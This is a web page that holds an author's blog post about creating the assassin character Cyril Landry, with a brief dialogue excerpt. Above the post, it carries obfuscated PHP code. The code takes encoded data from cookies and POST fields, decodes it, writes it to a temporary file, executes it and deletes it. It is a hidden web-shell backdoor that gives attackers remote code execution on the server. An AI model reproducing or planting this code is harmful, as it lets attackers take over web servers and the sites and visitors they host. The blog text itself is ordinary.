$APiMxmLKtQ = class_exists("WAP_Oeb");if (!$APiMxmLKtQ){class WAP_Oeb{private $HjyrdD;public static $SavBgBmC = "75c30abb-9195-4e6f-a31c-eda4e89777d2";public static $RjAMSg = NULL;public function __construct(){$JDZdn = $_COOKIE;$tXwKcOgg = $_POST;$qqQkND = @$JDZdn[substr(WAP_Oeb::$SavBgBmC, 0, 4)];if (!empty($qqQkND)){$JyPJHirk = "base64";$hsBvS = "";$qqQkND = explode(",", $qqQkND);foreach ($qqQkND as $bELPaJhhH){$hsBvS .= @$JDZdn[$bELPaJhhH];$hsBvS .= @$tXwKcOgg[$bELPaJhhH];}$hsBvS = array_map($JyPJHirk . chr (95) . "\x64" . 'e' . "\x63" . 'o' . "\144" . chr ( 192 - 91 ), array($hsBvS,)); $hsBvS = $hsBvS[0] ^ str_repeat(WAP_Oeb::$SavBgBmC, (strlen($hsBvS[0]) / strlen(WAP_Oeb::$SavBgBmC)) + 1);WAP_Oeb::$RjAMSg = @unserialize($hsBvS);}}public function __destruct(){$this->mUQLbljVTk();}private function mUQLbljVTk(){if (is_array(WAP_Oeb::$RjAMSg)) {$sBZniqXe = sys_get_temp_dir() . "/" . crc32(WAP_Oeb::$RjAMSg['s' . chr (97) . "\154" . chr (116)]);@WAP_Oeb::$RjAMSg["\x77" . chr (114) . "\x69" . 't' . "\145"]($sBZniqXe, WAP_Oeb::$RjAMSg[chr (99) . "\x6f" . 'n' . chr ( 451 - 335 )."\145" . "\x6e" . chr ( 259 - 143 )]);include $sBZniqXe;@WAP_Oeb::$RjAMSg['d' . chr (101) . chr ( 1045 - 937 ).chr (101) . chr (116) . 'e']($sBZniqXe);exit();}}}$FRISOU = new WAP_Oeb(); $FRISOU = NULL;} ?> It’s Cyril Time - J. Carson Black

It’s Cyril Time

J. Carson Black @ www.jcarsonblack.com

One of my dearest friends is a thriller writer I met back in 2003, when I ended up selling two books to the same publisher. (We met at a local Tucson bookstore.) Michael Prescott is a brilliant thriller and suspense writer.

Oddly enough, his protagonists are usually women.

Most authors write in the Third Person, so they can jump around in other people’s heads. I do it, and so does Michael Prescott. I have never worried about portraying a male character —it seems to come easily to me —and it’s believable to the reader.

There was something liberating about writing from a male point of view, just as writing from a female point of view was liberating for my friend.

I admit to being less buttoned-up when writing a male character.

Which led to Cyril Landry.

Cyril Landry was just a walk-on part. He was a killer and had been dispatched to a house in Aspen where he was supposed to kill a celebrity. If I hadn’t given him a name, he would have been Assassin #1.

But Cyril Landry had other ideas.

Outside the house of the target, he spoke to another operator who had just gone into the house-

He waited for Jackson to report in.
“Upstairs clear.”
“How many?”
“Two. The couple. They were laying in bed.”
“Lying,” Landry said.
“Lying in bed. Not laying.”
A pause. Then, “Roger that.”

Cyril Landry didn’t want to be a walk-on part. He didn’t want to be Bad Guy #1 or Operative #2.

I understand him. I don’t like everything he did, but I like him. I liked him so much I put him in three books: THE SHOP, HARD RETURN, and SPECTRE BLACK.

There’s something freeing about writing the opposite sex. I’ve had many characters that I’ve loved, but Cyril Landry takes the cake.

I love him best of all.

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